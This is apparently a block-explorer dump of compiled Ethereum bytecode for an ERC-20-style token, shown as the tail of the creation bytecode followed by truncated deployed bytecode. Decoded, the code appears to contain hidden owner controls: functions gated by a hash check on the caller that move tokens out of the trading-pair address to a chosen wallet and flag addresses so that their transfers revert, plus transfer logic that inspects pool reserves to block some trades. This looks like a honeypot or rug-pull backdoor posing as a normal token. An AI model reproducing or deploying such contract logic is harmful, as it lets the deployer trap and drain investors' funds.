1044f9190612505565b60405180910390f35b610472600480360381019061046d91906120e1565b610ab6565b60405161047f9190612505565b60405180910390f35b6104a2600480360381019061049d919061220e565b610ad6565b6040516104af9190612505565b60405180910390f35b6104d260048036038101906104cd919061220e565b610b95565b6040516104df9190612505565b60405180910390f35b61050260048036038101906104fd91906120e1565b610bac565b60405161050f9190612505565b60405180910390f35b610532600480360381019061052d919061227b565b610bcc565b005b61053c610c9b565b60405161054991906124ea565b60405180910390f35b61056c600480360381019061056791906121ce565b610cc1565b005b6105886004803603810190610583919061213b565b610d99565b6040516105959190612622565b60405180910390f35b6105b860048036038101906105b391906120e1565b610e20565b6040516105c59190612505565b60405180910390f35b6060600380546105dd90612790565b80601f016020809104026020016040519081016040528092919081815260200182805461060990612790565b80156106565780601f1061062b57610100808354040283529160200191610656565b820191906000526020600020905b81548152906001019060200180831161063957829003601f168201915b5050505050905090565b600061066d338484610e40565b6001905092915050565b6000600654905090565b600061068e84848461100b565b610741843361073c85604051806060016040528060288152602001612ade60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119759092919063ffffffff16565b610e40565b600190509392505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b6000600560009054906101000a900460ff1660ff16905090565b6000610821338461081c85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b610e40565b6001905092915050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d6020528060005260406000206000915090505481565b601a60009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601b5460023360405160200161092091906124b8565b60405160208183030381529060405260405161093c91906124d3565b602060405180830381855afa158015610959573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061097c919061224e565b14610986576109c8565b80601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60106020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610a2090612790565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4c90612790565b8015610a995780601f10610a6e57610100808354040283529160200191610a99565b820191906000526020600020905b815481529060010190602001808311610a7c57829003601f168201915b5050505050905090565b601660009054906101000a900460ff1681565b601c6020528060005260406000206000915054906101000a900460ff1681565b6000610b8b3384610b8685604051806060016040528060258152602001612b0660259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119759092919063ffffffff16565b610e40565b6001905092915050565b6000610ba233848461100b565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b601b54600233604051602001610be291906124b8565b604051602081830303815290604052604051610bfe91906124d3565b602060405180830381855afa158015610c1b573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610c3e919061224e565b14610c4857610c98565b610c97601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611a37565b5b50565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b54600233604051602001610cd791906124b8565b604051602081830303815290604052604051610cf391906124d3565b602060405180830381855afa158015610d10573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d33919061224e565b14610d3d57610d95565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea790612602565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612562565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ffe9190612622565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561107b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611072906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290612542565b60405180910390fd5b6000811161112e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611125906125c2565b60405180910390fd5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111d45750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111ea576111e4848483611d28565b50611970565b60008390506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601754601560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611290919061266f565b119050811561129e57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561196057600080600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161138c91906124d3565b6000604051808303816000865af19150503d80600081146113c9576040519150601f19603f3d011682016040523d82523d6000602084013e6113ce565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161146691906124d3565b6000604051808303816000865af19150503d80600081146114a3576040519150601f19603f3d011682016040523d82523d6000602084013e6114a8565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161154091906124d3565b6000604051808303816000865af19150503d806000811461157d576040519150601f19603f3d011682016040523d82523d6000602084013e611582565b606091505b509150506000808280602001905181019061159d91906122d5565b915091506000858060200190518101906115b7919061210e565b90506000858060200190518101906115cf919061210e565b905060008273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161161d91906124ea565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116a791906124d3565b6000604051808303816000865af19150503d80600081146116e4576040519150601f19603f3d011682016040523d82523d6000602084013e6116e9565b606091505b5091505060008180602001905181019061170391906122a8565b905060008373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161175191906124ea565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117db91906124d3565b6000604051808303816000865af19150503d8060008114611818576040519150601f19603f3d011682016040523d82523d6000602084013e61181d565b606091505b5091505060008180602001905181019061183791906122a8565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156118bc57828811156118b15782886118a391906126c5565b9b506014548c119d506118b7565b8288149c505b61193c565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561193b578087111561193457808761192691906126c5565b9b506014548c119d5061193a565b8087149c505b5b5b8d15801561194857508c155b61195157600080fd5b50505050505050505050505050505b61196b878786611d28565b505050505b505050565b60008383111582906119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b49190612520565b60405180910390fd5b50600083856119cc91906126c5565b9050809150509392505050565b60008082846119e8919061266f565b905083811015611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612582565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0e90612542565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8f906125a2565b60405180910390fd5b611be9816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d1b9190612622565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8f906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff90612542565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e80906125a2565b60405180910390fd5b611eda816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161200c9190612622565b60405180910390a3505050565b600061205b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611975565b905092915050565b60008135905061207281612a6a565b92915050565b60008151905061208781612a81565b92915050565b60008135905061209c81612a98565b92915050565b6000815190506120b181612aaf565b92915050565b6000813590506120c681612ac6565b92915050565b6000815190506120db81612ac6565b92915050565b6000602082840312156120f7576120f6612844565b5b600061210584828501612063565b91505092915050565b60006020828403121561212457612123612844565b5b600061213284828501612078565b91505092915050565b6000806040838503121561215257612151612844565b5b600061216085828601612063565b925050602061217185828601612063565b9150509250929050565b60008060006060848603121561219457612193612844565b5b60006121a286828701612063565b93505060206121b386828701612063565b92505060406121c4868287016120b7565b9150509250925092565b600080604083850312156121e5576121e4612844565b5b60006121f385828601612063565b92505060206122048582860161208d565b9150509250929050565b6000806040838503121561222557612224612844565b5b600061223385828601612063565b9250506020612244858286016120b7565b9150509250929050565b60006020828403121561226457612263612844565b5b6000612272848285016120a2565b91505092915050565b60006020828403121561229157612290612844565b5b600061229f848285016120b7565b91505092915050565b6000602082840312156122be576122bd612844565b5b60006122cc848285016120cc565b91505092915050565b600080604083850312156122ec576122eb612844565b5b60006122fa858286016120cc565b925050602061230b858286016120cc565b9150509250929050565b61231e816126f9565b82525050565b612335612330826126f9565b6127c2565b82525050565b6123448161271d565b82525050565b60006123558261263d565b61235f8185612653565b935061236f81856020860161275d565b80840191505092915050565b600061238682612648565b612390818561265e565b93506123a081856020860161275d565b6123a981612849565b840191505092915050565b60006123c160238361265e565b91506123cc82612867565b604082019050919050565b60006123e460228361265e565b91506123ef826128b6565b604082019050919050565b6000612407601b8361265e565b915061241282612905565b602082019050919050565b600061242a60268361265e565b91506124358261292e565b604082019050919050565b600061244d60298361265e565b91506124588261297d565b604082019050919050565b600061247060258361265e565b915061247b826129cc565b604082019050919050565b600061249360248361265e565b915061249e82612a1b565b604082019050919050565b6124b281612753565b82525050565b60006124c48284612324565b60148201915081905092915050565b60006124df828461234a565b915081905092915050565b60006020820190506124ff6000830184612315565b92915050565b600060208201905061251a600083018461233b565b92915050565b6000602082019050818103600083015261253a818461237b565b905092915050565b6000602082019050818103600083015261255b816123b4565b9050919050565b6000602082019050818103600083015261257b816123d7565b9050919050565b6000602082019050818103600083015261259b816123fa565b9050919050565b600060208201905081810360008301526125bb8161241d565b9050919050565b600060208201905081810360008301526125db81612440565b9050919050565b600060208201905081810360008301526125fb81612463565b9050919050565b6000602082019050818103600083015261261b81612486565b9050919050565b600060208201905061263760008301846124a9565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061267a82612753565b915061268583612753565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ba576126b96127e6565b5b828201905092915050565b60006126d082612753565b91506126db83612753565b9250828210156126ee576126ed6127e6565b5b828203905092915050565b600061270482612733565b9050919050565b600061271682612733565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101561277b578082015181840152602081019050612760565b8381111561278a576000848401525b50505050565b600060028204905060018216806127a857607f821691505b602082108114156127bc576127bb612815565b5b50919050565b60006127cd826127d4565b9050919050565b60006127df8261285a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612a73816126f9565b8114612a7e57600080fd5b50565b612a8a8161270b565b8114612a9557600080fd5b50565b612aa18161271d565b8114612aac57600080fd5b50565b612ab881612729565b8114612ac357600080fd5b50565b612acf81612753565b8114612ada57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122013a5b0555928131aa73ee347d5ebf552fae7dae01e119ecedee7feaf7d81387a64736f6c63430008060033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806377b12550116100f9578063a9059cbb11610097578063c45a015511610071578063c45a015514610534578063cb7626ad14610552578063dd62ed3e1461056e578063f7fadc711461059e576101a9565b8063a9059cbb146104b8578063bd4b4da9146104e8578063c029cf7f14610518576101a9565b806395d89b41116100d357806395d89b411461041c57806396ff23411461043a5780639c64129014610458578063a457c2d714610488576101a9565b806377b12550146103b25780638db64d8a146103ce578063927f3d41146103fe576101a9565b8063395093511161016657806349bd5a5e1161014057806349bd5a5e14610316578063557155ac146103345780636e75de641461036457806370a0823114610382576101a9565b806339509351146102985780633b4aa5b2146102c85780634308e185146102e6576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806318160ddd146101fc57806323b872dd1461021a57806327f725871461024a578063313ce5671461027a575b600080fd5b6101b66105ce565b6040516101c39190612520565b60405180910390f35b6101e660048036038101906101e1919061220e565b610660565b6040516101f39190612505565b60405180910390f35b610204610677565b6040516102119190612622565b60405180910390f35b610234600480360381019061022f919061217b565b610681565b6040516102419190612505565b60405180910390f35b610264600480360381019061025f91906120e1565b61074c565b6040516102719190612505565b60405180910390f35b61028261076c565b60405161028f9190612622565b60405180910390f35b6102b260048036038101906102ad919061220e565b610786565b6040516102bf9190612505565b60405180910390f35b6102d061082b565b6040516102dd91906124ea565b60405180910390f35b61030060048036038101906102fb91906120e1565b610851565b60405161030d9190612505565b60405180910390f35b61031e610871565b60405161032b91906124ea565b60405180910390f35b61034e600480360381019061034991906120e1565b610897565b60405161035b9190612622565b60405180910390f35b61036c6108af565b6040516103799190612505565b60405180910390f35b61039c600480360381019061039791906120e1565b6108c2565b6040516103a99190612622565b60405180910390f35b6103cc60048036038101906103c791906120e1565b61090a565b005b6103e860048036038101906103e391906120e1565b6109cb565b6040516103f59190612505565b60405180910390f35b6104066109eb565b60405161041391906124ea565b60405180910390f35b610424610a11565b6040516104319190612520565b60405180910390f35b610442610aa3565b60405161044f9190612505565b60405180910390f35b610472600480360381019061046d91906120e1565b610ab6565b60405161047f9190612505565b60405180910390f35b6104a2600480360381019061049d919061220e565b610ad6565b6040516104af9190612505565b60405180910390f35b6104d260048036038101906104cd919061220e565b610b95565b6040516104df9190612505565b60405180910390f35b61050260048036038101906104fd91906120e1565b610bac565b60405161050f9190612505565b60405180910390f35b610532600480360381019061052d919061227b565b610bcc565b005b61053c610c9b565b60405161054991906124ea565b60405180910390f35b61056c600480360381019061056791906121ce565b610cc1565b005b6105886004803603810190610583919061213b565b610d99565b6040516105959190612622565b60405180910390f35b6105b860048036038101906105b391906120e1565b610e20565b6040516105c59190612505565b60405180910390f35b6060600380546105dd90612790565b80601f016020809104026020016040519081016040528092919081815260200182805461060990612790565b80156106565780601f1061062b57610100808354040283529160200191610656565b820191906000526020600020905b81548152906001019060200180831161063957829003601f168201915b5050505050905090565b600061066d338484610e40565b6001905092915050565b6000600654905090565b600061068e84848461100b565b610741843361073c85604051806060016040528060288152602001612ade60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119759092919063ffffffff16565b610e40565b600190509392505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b6000600560009054906101000a900460ff1660ff16905090565b6000610821338461081c85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b610e40565b6001905092915050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d6020528060005260406000206000915090505481565b601a60009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601b5460023360405160200161092091906124b8565b60405160208183030381529060405260405161093c91906124d3565b602060405180830381855afa158015610959573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061097c919061224e565b14610986576109c8565b80601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60106020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610a2090612790565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4c90612790565b8015610a995780601f10610a6e57610100808354040283529160200191610a99565b820191906000526020600020905b815481529060010190602001808311610a7c57829003601f168201915b5050505050905090565b601660009054906101000a900460ff1681565b601c6020528060005260406000206000915054906101000a900460ff1681565b6000610b8b3384610b8685604051806060016040528060258152602001612b0660259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119759092919063ffffffff16565b610e40565b6001905092915050565b6000610ba233848461100b565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b601b54600233604051602001610be291906124b8565b604051602081830303815290604052604051610bfe91906124d3565b602060405180830381855afa158015610c1b573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610c3e919061224e565b14610c4857610c98565b610c97601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611a37565b5b50565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b54600233604051602001610cd791906124b8565b604051602081830303815290604052604051610cf391906124d3565b602060405180830381855afa158015610d10573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d33919061224e565b14610d3d57610d95565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea790612602565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612562565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ffe9190612622565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561107b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611072906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290612542565b60405180910390fd5b6000811161112e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611125906125c2565b60405180910390fd5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111d45750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111ea576111e4848483611d28565b50611970565b60008390506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601754601560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611290919061266f565b119050811561129e57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561196057600080600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161138c91906124d3565b6000604051808303816000865af19150503d80600081146113c9576040519150601f19603f3d011682016040523d82523d6000602084013e6113ce565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161146691906124d3565b6000604051808303816000865af19150503d80600081146114a3576040519150601f19603f3d011682016040523d82523d6000602084013e6114a8565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161154091906124d3565b6000604051808303816000865af19150503d806000811461157d576040519150601f19603f3d011682016040523d82523d6000602084013e611582565b606091505b509150506000808280602001905181019061159d91906122d5565b915091506000858060200190518101906115b7919061210e565b90506000858060200190518101906115cf919061210e565b905060008273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161161d91906124ea565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116a791906124d3565b6000604051808303816000865af19150503d80600081146116e4576040519150601f19603f3d011682016040523d82523d6000602084013e6116e9565b606091505b5091505060008180602001905181019061170391906122a8565b905060008373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161175191906124ea565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117db91906124d3565b6000604051808303816000865af19150503d8060008114611818576040519150601f19603f3d011682016040523d82523d6000602084013e61181d565b606091505b5091505060008180602001905181019061183791906122a8565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156118bc57828811156118b15782886118a391906126c5565b9b506014548c119d506118b7565b8288149c505b61193c565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561193b578087111561193457808761192691906126c5565b9b506014548c119d5061193a565b8087149c505b5b5b8d15801561194857508c155b61195157600080fd5b50505050505050505050505050505b61196b878786611d28565b505050505b505050565b60008383111582906119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b49190612520565b60405180910390fd5b50600083856119cc91906126c5565b9050809150509392505050565b60008082846119e8919061266f565b905083811015611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612582565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0e90612542565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611b98576040517f08c379a0000000000000000000000000000